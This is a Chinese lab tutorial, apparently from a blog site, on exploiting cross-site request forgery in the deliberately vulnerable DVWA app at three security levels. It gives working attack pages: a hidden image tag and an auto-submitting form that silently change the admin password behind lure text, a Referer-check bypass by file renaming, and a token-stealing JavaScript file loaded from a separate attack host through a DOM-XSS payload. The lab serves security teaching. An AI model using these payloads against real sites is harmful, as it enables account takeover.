news 2026/6/10 8:29:46

DVWA跨站请求伪造漏洞检测实验

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DVWA跨站请求伪造漏洞检测实验

一、实验目的

1. 掌握跨站请求伪造漏洞的形成的原因或者条件;

2. 掌握跨站请求伪造漏洞的的利用方法;

3. 掌握跨站请求伪造漏洞的防范方法。

二、实验原理

CSRF 是攻击者利用用户的名义进行某些非法操作,其是在用户已经与具有 CSRF 漏洞的 WEB 服务器已经建立了会话,在不知情的情况下点击了诈骗的链 接,而 WEB 应用程序没有对用户提交的请求进行验证,导致执行了非法操作。

三、实验环境(同机模拟双机)

1. 受害站(DVWA)

软件:phpstudy2018

地址示例:http://127.0.0.1/dvwa/

2. 攻击站(恶意页面)

软件:phpstudy_pro

地址示例:http://127.0.0.1:8888/

核心思想:虽然是同一台机器,但端口不同,浏览器会把它们视为不同源:

127.0.0.1 → 受害站

127.0.0.1:8888 → 攻击站

四、实验前准备

1. 配置 phpstudy2018(受害站)

启动 phpstudy2018服务,将DVWA 解压到 phpstudy2018 网站根目录D:\phpStudy\PHPTutorial\WWW\dvwa,并安装。

2. 配置 phpstudy_pro(攻击站)

启动 phpstudy_pro,启动 Web 服务。

3. 验证两个站点都能访问

启动Burpsuite,访问两个站点,如果都能正常打开,说明环境可用。

受害站访问:http://127.0.0.1/dvwa/

攻击站访问:http://127.0.0.1:8888/

五、Low 级别 CSRF 实验

1. 设置 DVWA 为 Low

登录 DVWA 后,点击左侧:DVWA Security

把安全级别改成:Low,提交保存。

2. 观察正常修改密码请求

进入:CSRF

在页面中输入新密码,并再次确认输入,例:

• New Password:123456

• Confirm New Password:123456

点击 Change,观察地址栏显示:

http://127.0.0.1:8081/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

这说明:

• 修改密码使用 GET 请求

• 参数名是:

o password_new

o password_conf

o Change

Low 级别下没有额外防护。

单击Test Credentials,进入密码验证页面

输入用户名admin和修改后的密码测试:

3. 构造 Low 攻击页面

启动vscode,在攻击站根目录www中创建:low.html

内容如下:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>领奖页面</title>

</head>

<body>

<h2>恭喜你中奖了!</h2>

<p>页面加载中,请稍候……</p>

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=lowpass&password_conf=lowpass&Change=Change" style="display:none;">

</body>

</html>

提交截图,截图包含vscode中的文档目录和代码内容,并对实验结果进行分析。

  1. 项目目录:www站点根目录下存在low.html,和 DVWA 项目同级,攻击文件部署在攻击站点网站目录;
  2. 代码实现:利用隐藏<img>标签,src属性直接拼接完整改密 GET 接口,display:none;实现页面不可见、后台静默发送请求,页面展示中奖诱导文案欺骗用户访问。

4. 触发攻击

确保当前浏览器里仍然保持 DVWA 登录状态,然后访问攻击页:

http://127.0.0.1:8888/low.html

页面加载时,img 会自动向 DVWA 发起请求。

浏览器会自动附带 DVWA 的 Cookie,所以服务器会认为这是登录用户本人发起的操作。

5. 验证结果

单击Test Credentials,进入密码验证页面,输入用户名admin,密码lowpass

若显示Valid password for 'admin'说明 Low 级别漏洞复现成功。

若显示Wrong password for 'admin'说明攻击无效,可更换payload:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<meta name="referrer" content="unsafe-url">

<title>系统消息</title>

</head>

<body>

<h3>正在进行安全检测...</h3>

<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">

<input type="hidden" name="password_new" value="lowpass">

<input type="hidden" name="password_conf" value="lowpass">

<input type="hidden" name="Change" value="Change">

</form>

<script>

document.getElementById('csrfForm').submit();

</script>

</body>

</html>

再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

一、Low 级别实验结果分析

  1. 实验现象

攻击页面使用 img 标签或自动提交表单访问改密接口,保持 DVWA 登录状态访问127.0.0.1:8888/low.html后,admin 账户密码成功修改为lowpass,密码校验页面验证通过;Burp 抓包可见跨域请求自动携带 DVWA 会话 Cookie。

六、Medium 级别 CSRF 实验

1. 设置 DVWA 为 Medium

回到:DVWA Security,把安全级别设为:Medium保存。

2. Medium 级别的防护特点

Medium 一般会增加对 Referer 的简单检查。

它的逻辑常见形式是:

if (stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false)

3.构造 Medium 攻击页面

创建medium.html

内容如下:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<meta name="referrer" content="unsafe-url">

<title>系统消息</title>

</head>

<body>

<h3>正在进行安全检测...</h3>

<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">

<input type="hidden" name="password_new" value="mediumpass">

<input type="hidden" name="password_conf" value="mediumpass">

<input type="hidden" name="Change" value="Change">

</form>

<script>

document.getElementById('csrfForm').submit();

</script>

</body>

</html>

4. 触发 Medium 攻击

保持 DVWA 登录状态,访问:http://127.0.0.1:8888/medium.html

若 DVWA 的 Medium 仅做弱 Referer 检查,则该请求很可能成功。

5. 验证结果

单击Test Credentials,进入密码验证页面,输入用户名admin,密码mediumpass

测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第一次实验结果分析(直接 medium.html 访问成功原因)

  1. 防护机制缺陷

DVWA-Medium仅用stripos做子串模糊匹配,只校验 Referer 里是否存在站点 IP 字符串,不校验端口、完整域名路径。

  1. 页面 meta 标签作用:<meta name="referrer" content="unsafe-url">,保证浏览器完整携带 Referer 来源地址,Referer 正常带出攻击页全链接,没有丢失 IP 字段,是攻击成功的辅助条件。
  2. 实验结论:Medium 的 Referer 子串校验方案天然存在漏洞,同 IP、不同端口的 CSRF 请求可直接绕过防护,初次访问即可完成密码篡改。

修改攻击地址为:本机ip:8888/medium.html,再次测试,查看是否成功。

若不成功,则将medium.html文件名修改为127.0.0.1.html。再次测试。

再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第二次实验结果分析(修改文件名 127.0.0.1.html)

  1. 现象:将文件名改为127.0.0.1.html,Referer 变为http://127.0.0.1:8888/127.0.0.1.html,Referer 内重复出现目标 IP 字符串,同样满足stripos匹配,攻击依旧成功。
  2. 对比总结:
  • 第一次成功:根源是同 IP 跨端口 + 模糊匹配校验,Referer 自带目标 IP 字段;
  • 第二次是另一种绕过思路:文件名写入目标 IP,即使跨网段 / 跨 IP 环境,也能让 Referer 包含目标 IP 实现绕过。

七、High 级别 CSRF 实验

1. 受害机中设置 DVWA 为 High

进入:DVWA Security,设置为:High,保存。

2. 观察 High 页面差异

进入 CSRF 页面后,查看源码或用开发者工具检查表单。

通常可以看到一个隐藏字段:

<input type="hidden" name="user_token" value="xxxxxxxxxxxxxxxx">

这说明 High 已引入 CSRF Token 防护。

3. 结合 XSS 读取 Token

Token 防御使得纯 CSRF 无法直接利用。需要配合同域 XSS 漏洞,若攻击者能在 DVWA 同域下执行 JavaScript,就可以请求 CSRF 页面、读取页面中的 user_token、携带 Token 发起修改密码请求。

在攻击机根目录创建csrf.js文件,内容为:

//第一步:获取 CSRF 页面,从中提取 user_token

var xhr1 = new XMLHttpRequest();

xhr1.onreadystatechange = function() {

if (xhr1.readyState == 4 && xhr1.status == 200) {

//解析 HTML,提取 token

var parser = new DOMParser();

var doc = parser.parseFromString(xhr1.responseText, "text/html");

var token = doc.getElementsByName("user_token")[0].value;

//第二步:携带 token 发起修改密码请求

var url = "http://127.0.0.1/dvwa/vulnerabilities/csrf/"

+ "?password_new=csrf123&password_conf=csrf123"

+ "&Change=Change&user_token=" + token;

var xhr2 = new XMLHttpRequest();

xhr2.open("GET", url, true);

xhr2.withCredentials = true;

xhr2.send();

}

};

xhr1.open("GET", "http://127.0.0.1/dvwa/vulnerabilities/csrf/", true);

xhr1.withCredentials = true;

xhr1.send();

在受害机中进入xss(DOM),在地址栏中生成攻击链接,并提交:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=<script src=”http://127.0.0.1:8888/csrf.js”></script>

4. 验证结果

在受害机中进入CSRF,单击Test Credentials,进入密码验证页面,输入用户名admin,密码csrf123

如果成功,说明 High 级绕过成功。

测试,提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

三、High 级别实验结果分析

  1. 实验现象分析

单独使用 Low/Medium 的 CSRF 页面无法修改密码;利用 DOM-XSS 引入远程csrf.js脚本,JS 在 DVWA 同域环境运行,自动抓取页面user_token并拼接参数提交,密码成功修改为csrf123。Burp 数据包中改密请求携带合法随机 token 与会话 Cookie。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 8:27:17

[企业数据平台的下一阶段一] 当 Hadoop 拼装架构越来越难支撑 AI,企业真正可行的升级路线,往往不是推倒重来,而是在存量之上做原地加速、旁路验证和渐进式收敛

很多企业今天讨论数据平台升级&#xff0c;表面上是在选技术路线&#xff0c;实质上是在处理一个更现实的矛盾&#xff1a;旧平台已经越来越贵、越来越重、越来越难改&#xff0c;但数据资产又已经大到不可能轻易搬走。这也是为什么我更愿意把“湖上加速”理解成一种 Data Infr…

作者头像 李华
网站建设 2026/6/10 8:26:20

AI Coding 2026 年中盘点:代码生成的边界正在消失

AI Coding 2026 年中盘点&#xff1a;代码生成的边界正在消失当 Google 75% 的新代码由 AI 生成&#xff0c;OpenAI Codex 周活突破 500 万&#xff0c;Cursor 的 Composer 2.5 以十分之一成本追平前沿模型——2026 年上半年&#xff0c;AI 编程已不是"要不要用"的问…

作者头像 李华
网站建设 2026/6/10 8:22:03

【AI应用】通用服务测试 AI 化

通用服务测试 AI 化实践&#xff1a;从 AI 友好框架到两阶段流水线 一、写在前面 高变更密度业务的服务端测试&#xff0c;长期被三件事卡着脖子。 变更密集。 一个迭代里&#xff0c;多个业务模块的接口往往同时在改&#xff0c;单纯靠 Code Review 经验回归&#xff0c;漏测…

作者头像 李华
网站建设 2026/6/10 8:21:51

如何免费解锁WeMod高级功能:Wand-Enhancer终极使用指南

如何免费解锁WeMod高级功能&#xff1a;Wand-Enhancer终极使用指南 【免费下载链接】Wand-Enhancer Advanced UX and interoperability extension for Wand (WeMod) app 项目地址: https://gitcode.com/gh_mirrors/we/Wand-Enhancer 还在为WeMod专业版的订阅费用而犹豫吗…

作者头像 李华
网站建设 2026/6/10 8:07:12

别再只用向量数据库了:ES + Milvus + MinIO 三剑合璧的文档检索实战

一个被问了无数遍的问题&#xff1a;全文检索、语义搜索、文件存储&#xff0c;能不能各司其职&#xff0c;又能无缝协作&#xff1f;引子&#xff1a;一个 ISO 9001 文档引发的思考前几天我把一份 ISO 9001:2015 质量管理体系的 PDF 扔进了本地搭建的知识库系统里。文档是英文…

作者头像 李华